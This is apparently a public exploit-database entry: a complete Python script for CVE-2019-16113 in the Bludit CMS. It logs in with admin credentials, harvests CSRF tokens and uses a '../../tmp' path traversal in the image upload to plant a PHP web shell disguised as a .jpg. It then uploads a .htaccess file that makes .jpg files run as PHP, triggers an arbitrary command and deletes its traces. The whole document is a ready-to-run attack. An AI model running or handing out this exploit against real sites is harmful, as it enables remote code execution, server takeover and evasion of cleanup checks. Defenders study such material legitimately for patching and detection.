Bludit 3.9.12 – Directory Traversal
# Exploit Title: Bludit 3.9.12 - Directory Traversal # Date: 2020-06-05 # Exploit Author: Luis Vacacas # Vendor Homepage: https://www.bludit.com # Software Link: https://github.com/bludit/bludit # Version: >= 3.9.12 # Tested on: Ubuntu 19.10 # CVE : CVE-2019-16113 #!/usr/bin/env python3 #-*- coding: utf-8 -*- import requests import re import argparse import random import string import base64 from requests.exceptions import Timeout class Color: PURPLE = '\033[95m' CYAN = '\033[96m' DARKCYAN = '\033[36m' BLUE = '\033[94m' GREEN = '\033[92m' YELLOW = '\033[93m' RED = '\033[91m' BOLD = '\033[1m' UNDERLINE = '\033[4m' END = '\033[0m' banner = base64.b64decode("4pWU4pWXIOKUrCAg4pSsIOKUrOKUjOKUrOKUkOKUrOKUjOKUrOKUkCAg4pWU4pWQ4pWX4pWmIOKVpuKVlOKVl+KVlArilaDilanilZfilIIgIOKUgiDilIIg4pSC4pSC4pSCIOKUgiAgIOKVoOKVkOKVneKVkeKVkeKVkeKVkeKVkeKVkQrilZrilZDilZ3ilLTilIDilJjilJTilIDilJjilIDilLTilJjilLQg4pS0ICAg4pWpICDilZrilanilZ3ilZ3ilZrilZ0KCiBDVkUtMjAxOS0xNjExMyBDeWJlclZhY2EKCg==").decode() print(Color.RED + Color.BOLD + "\n\n" + banner + Color.END) def get_args(): parser = argparse.ArgumentParser(description='Bludit RCE Exploit v3.9.2 CVE-2019-16113 \nBy @CyberVaca') parser.add_argument('-u', dest='url', type=str, required=True, help='Url Bludit') parser.add_argument('-user', dest='user', type=str,required=True, help='Username') parser.add_argument('-pass', dest='password', type=str, required=True, help='Password' ) parser.add_argument('-c', dest='command', type=str, required=True, help='Command to execute' ) return parser.parse_args() def randomString(stringLength=8): letters = string.ascii_lowercase return ''.join(random.choice(letters) for i in range(stringLength)) def informa(msg): print (Color.GREEN + "[" + Color.RED + "+" + Color.GREEN + "] " + msg) def login(url,username,password): session = requests.Session() login_page = session.get(url + "/admin/") csrf_token = re.search('input.+?name="tokenCSRF".+?value="(.+?)"', login_page.text).group(1) informa("csrf_token: " + Color.END + csrf_token) la_cookie = ((login_page.headers['Set-Cookie']).split(";")[0].split("=")[1]) paramsPost = {"save":"","password":password,"tokenCSRF":csrf_token,"username":username} headers = {"Origin":url,"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0","Connection":"close","Referer": url + "/admin/","Accept-Language":"es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3","Accept-Encoding":"gzip, deflate","Content-Type":"application/x-www-form-urlencoded"} cookies = {"BLUDIT-KEY":la_cookie} response = session.post(url + "/admin/", data=paramsPost, headers=headers, cookies=cookies, allow_redirects = False) informa("cookie: " + Color.END + la_cookie) return(la_cookie) def csrf_logado(url,la_cookie): session = requests.Session() headers = {"Origin":url,"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0","Connection":"close","Referer":url + "/admin/","Accept-Language":"es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3","Accept-Encoding":"gzip, deflate"} cookies = {"BLUDIT-KEY":la_cookie} response = session.get(url + "/admin/dashboard", headers=headers, cookies=cookies) token_logado = response.text.split('var tokenCSRF = "')[1].split('"')[0] informa("csrf_token: " + Color.END + token_logado) return token_logado def subida_shell(url,la_cookie,token_logado,command,webshell): session = requests.Session() paramsPost = {"uuid":"../../tmp","tokenCSRF":token_logado} paramsMultipart = [('images[]', (webshell, "<?php shell_exec(\"rm .htaccess ; rm " + webshell + " ;" + command + "\");?>", 'application/octet-stream'))] headers = {"Origin":url,"Accept":"*/*","X-Requested-With":"XMLHttpRequest","User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0","Connection":"close","Referer":url + "/admin/new-content","Accept-Language":"es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3","Accept-Encoding":"gzip, deflate"} cookies = {"BLUDIT-KEY":la_cookie} response = session.post(url + "/admin/ajax/upload-images", data=paramsPost, files=paramsMultipart, headers=headers, cookies=cookies) informa("Uploading " + Color.END + webshell + Color.END) def subida_htaccess(url,la_cookie,token_logado): session = requests.Session() paramsPost = {"uuid":"../../tmp","tokenCSRF":token_logado} paramsMultipart = [('images[]', ('.htaccess', "RewriteEngine off\r\nAddType application/x-httpd-php .jpg", 'application/octet-stream'))] headers = {"Origin":url,"Accept":"*/*","X-Requested-With":"XMLHttpRequest","User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0","Connection":"close","Referer":url + "/admin/new-content","Accept-Language":"es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3","Accept-Encoding":"gzip, deflate"} cookies = {"BLUDIT-KEY":la_cookie} response = session.post(url + "/admin/ajax/upload-images", data=paramsPost, files=paramsMultipart, headers=headers, cookies=cookies) def trigger_command(url,webshell,command): session = requests.Session() headers = {"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0","Connection":"close","Accept-Language":"es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3","Accept-Encoding":"gzip, deflate"} try: response = session.get(url + "/bl-content/tmp/" + webshell, headers=headers, timeout=1) except requests.exceptions.ReadTimeout: pass informa("Executing command: " + Color.END + command ) informa("Delete: " + Color.END + ".htaccess") informa("Delete: " + Color.END + webshell) if __name__ == '__main__': args = get_args() webshell = randomString(8) + ".jpg" la_cookie = login(args.url,args.user,args.password) token_logado = csrf_logado(args.url,la_cookie) subida_shell(args.url,la_cookie,token_logado,args.command,webshell) subida_htaccess(args.url,la_cookie,token_logado) trigger_command(args.url,webshell,args.command) |